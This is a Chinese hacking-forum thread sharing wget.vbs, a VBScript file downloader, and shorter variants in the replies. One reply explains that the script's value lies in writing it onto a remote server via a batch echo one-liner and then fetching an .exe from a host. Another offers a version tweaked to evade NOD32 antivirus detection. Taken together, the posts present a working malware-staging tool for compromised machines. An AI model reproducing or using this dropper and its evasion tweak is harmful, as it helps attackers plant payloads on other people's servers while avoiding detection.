# wget.vbs

**URL:** <https://forum.90sec.com/t/topic/3148>\
**Category:** 工具资源\
**Created:** [2012 年1 月 14 日 20:41 UTC](https://forum.90sec.com/t/topic/3148 "2012-01-14T20:41:19Z")\
**Posts on this page:** 12\
**Page:** 1

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年1 月 14 日 20:41 UTC](https://forum.90sec.com/t/topic/3148/1 "2012-01-14T20:41:19Z")

</div>

/\*  
严格来说不算原创  
大部分代码参阅 以及借鉴 甚至 copy 别人的  
严格来说只是修改别人的代码 且修改得乱得一逼,  
\*/  
[psb.png](https://forum.90sec.com/discuz-migration/attachments/bdace26383565963056e37a693a167f9ae2e446129239b6bb1d5e47dc489d20e)

```vbscript

on error resume next
If WScript.Arguments.Count = 1 Then
strUrl = Wscript.Arguments.Item(0)
strFile = Right(strUrl,Len(strUrl)-InStrRev(strUrl,"/"))
sCurPath = CreateObject("Scripting.FileSystemObject").GetAbsolutePathName(".")
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const ForWriting = 2
Dim web, varByteArray, strData, strBuffer, lngCounter, ado

```

Err.Clear  
Set web = Nothing  
Set web = CreateObject("MSXML2.ServerXMLHTTP")  
web.Open "GET", strURL, False  
web.Send  
If Err.Number \<\> 0 Then  
WScript.Echo "

- Connection Error"  
SaveWebBinary = False  
Set web = Nothing  
WScript.Quit  
End If  
If web.Status \<\> "200" Then  
WScript.Echo "
- Not Fund this file"  
SaveWebBinary = False  
Set web = Nothing  
WScript.Quit  
End If  
varByteArray = web.ResponseBody  
'WScript.Echo varByteArray  
Set web = Nothing

'Save the file  
'On Error Resume Next  
Set ado = Nothing  
Set ado = CreateObject("ADODB.Stream")  
If ado Is Nothing Then  
Set fs = CreateObject("Scripting.FileSystemObject")  
Set ts = fs.OpenTextFile(strFile, ForWriting, True)  
strData = ""  
strBuffer = ""  
For lngCounter = 0 to UBound(varByteArray)  
ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1)))  
Next  
ts.Close  
Else  
ado.Type = adTypeBinary  
ado.Open  
ado.Write varByteArray  
ado.SaveToFile strFile, adSaveCreateOverWrite  
WScript.Echo "================================================================"  
WScript.Echo "[+] Download Success!"  
WScript.Echo " "  
WScript.Echo "[+] Save To=\> "&sCurPath&""&strFile  
WScript.Echo "================================================================"  
ado.Close  
End If  
SaveWebBinary = True  
Else  
WScript.Echo "================================================================"

```vbscript
WScript.Echo " [!] VBScript based WGET - Changes by Lostwolf"
WScript.Echo " "

```

```vbscript
WScript.Echo " [!] wget: missing URL"
WScript.Echo " "

```

WScript.Echo " [!] Usage: Cscript.exe wget.vbs [URL]..."  
WScript.Echo "================================================================"  
'WScript.Arguments.ShowUsage()  
End if

---

<div class="post-metadata">

作者： ![435420828](https://forum.90sec.com/letter_avatar_proxy/v4/letter/4/bcef8e/32.png) [@435420828](https://forum.90sec.com/u/435420828)\
发布日期： [2012 年1 月 15 日 06:47 UTC](https://forum.90sec.com/t/topic/3148/2 "2012-01-15T06:47:08Z")

</div>

谢谢{:4\_59:}{:4\_59:}

---

<div class="post-metadata">

作者： ![vfox](https://forum.90sec.com/user_avatar/forum.90sec.com/vfox/32/11387_2.png) [@vfox](https://forum.90sec.com/u/vfox)\
发布日期： [2012 年1 月 15 日 12:00 UTC](https://forum.90sec.com/t/topic/3148/3 "2012-01-15T12:00:43Z")

</div>

好东西，收藏了。

---

<div class="post-metadata">

作者： ![k11](https://forum.90sec.com/letter_avatar_proxy/v4/letter/k/8dc957/32.png) [@k11](https://forum.90sec.com/u/k11)\
发布日期： [2012 年1 月 15 日 16:32 UTC](https://forum.90sec.com/t/topic/3148/4 "2012-01-15T16:32:00Z")

</div>

nice!!! {:4\_59:}

---

<div class="post-metadata">

作者： ![cygmris](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/9d8465/32.png) [@cygmris](https://forum.90sec.com/u/cygmris)\
发布日期： [2012 年1 月 15 日 17:16 UTC](https://forum.90sec.com/t/topic/3148/5 "2012-01-15T17:16:31Z")

</div>

不错的东西呀!windows下wget

---

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年1 月 15 日 19:37 UTC](https://forum.90sec.com/t/topic/3148/6 "2012-01-15T19:37:39Z")

</div>

\*\*回复 [5#](http://www.90sec.org/redirect.php?goto=findpost&pid=12819&ptid=1316) _hack小恒_ \*\*

windows下本来就可以装wget  
之所以用vbs的就是 因为  
vbs的方便通过bat写进远程服务器

[code="vb"]  
echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 \>iget.vbs

这个是最简单的 没有多余的代码 一句话写进去  
cscript iget.vbs [http://xxoo.com/1.exe](http://xxoo.com/1.exe)

---

<div class="post-metadata">

作者： ![secxcn](https://forum.90sec.com/user_avatar/forum.90sec.com/secxcn/32/11403_2.png) [@secxcn](https://forum.90sec.com/u/secxcn)\
发布日期： [2012 年1 月 16 日 03:21 UTC](https://forum.90sec.com/t/topic/3148/7 "2012-01-16T03:21:40Z")

</div>

> 回复 hack小恒
> 
> windows下本来就可以装wget  
> 之所以用vbs的就是 因为  
> vbs的方便通过bat写进远程服务器 ...  
> lostwolf 发表于 2012-1-16 03:37 [[img][http://www.90sec.org/images/common/back.gif[/img\]](http://www.90sec.org/images/common/back.gif%5B/img%5C%5D)]([http://www.90sec.org/redirect.php?goto=findpost&pid=12831&ptid=1316](http://www.90sec.org/redirect.php?goto=findpost&pid=12831&ptid=1316))

```
嗯。这个不免杀。。。。。nod32报毒
我放个免杀的吧iLocal = LCase(WScript.Arguments(1))   

```

iRemote = LCase(WScript.Arguments(0))  
Set testPost = CreateObject("Microsoft.XMLHTTP")  
testPost.Open "GET",iRemote,0  
testPost.Send()  
Set sGet = CreateObject("ADODB.Stream")  
sGet.Mode = 3  
sGet.Type = 1  
sGet.Open()  
sGet.Write(testPost.responseBody)  
sGet.SaveToFile iLocal,2  
保存为vbs就可以用了，用法一样 url 加 save file name

---

<div class="post-metadata">

作者： ![kerling3389](https://forum.90sec.com/letter_avatar_proxy/v4/letter/k/dfb087/32.png) [@kerling3389](https://forum.90sec.com/u/kerling3389)\
发布日期： [2012 年1 月 16 日 12:46 UTC](https://forum.90sec.com/t/topic/3148/8 "2012-01-16T12:46:05Z")

</div>

> 嗯。这个不免杀。。。。。nod32报毒  
> 我放个免杀的吧保存为vbs就可以用了，用法一样 url 加 ...  
> secxcn 发表于 2012-1-16 11:21 [[img][http://www.90sec.org/images/common/back.gif[/img\]](http://www.90sec.org/images/common/back.gif%5B/img%5C%5D)]([http://www.90sec.org/redirect.php?goto=findpost&pid=12854&ptid=1316](http://www.90sec.org/redirect.php?goto=findpost&pid=12854&ptid=1316))

```
的确 这个是免杀的

```

---

<div class="post-metadata">

作者： ![sincoder](https://forum.90sec.com/user_avatar/forum.90sec.com/sincoder/32/11422_2.png) [@sincoder](https://forum.90sec.com/u/sincoder)\
发布日期： [2012 年2 月 28 日 12:34 UTC](https://forum.90sec.com/t/topic/3148/9 "2012-02-28T12:34:55Z")

</div>

直接执行弹了好几个框。。。。。{:4\_51:}

---

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年2 月 28 日 12:38 UTC](https://forum.90sec.com/t/topic/3148/10 "2012-02-28T12:38:52Z")

</div>

\*\*回复 [10#](http://www.90sec.org/redirect.php?goto=findpost&pid=16511&ptid=1316) _sincoder_ \*\*  
cscript wget.vbs ..............

---

<div class="post-metadata">

作者： ![sincoder](https://forum.90sec.com/user_avatar/forum.90sec.com/sincoder/32/11422_2.png) [@sincoder](https://forum.90sec.com/u/sincoder)\
发布日期： [2012 年2 月 28 日 12:39 UTC](https://forum.90sec.com/t/topic/3148/11 "2012-02-28T12:39:35Z")

</div>

不错 不错 其他人给的代码 我执行 都提示下标越界。。。原来使用 Cscript 执行之 就不会弹框了。。。

---

<div class="post-metadata">

作者： ![Agile](https://forum.90sec.com/user_avatar/forum.90sec.com/agile/32/11326_2.png) [@Agile](https://forum.90sec.com/u/Agile)\
发布日期： [2012 年5 月 2 日 08:54 UTC](https://forum.90sec.com/t/topic/3148/12 "2012-05-02T08:54:31Z")

</div>

还是wget.exe好用
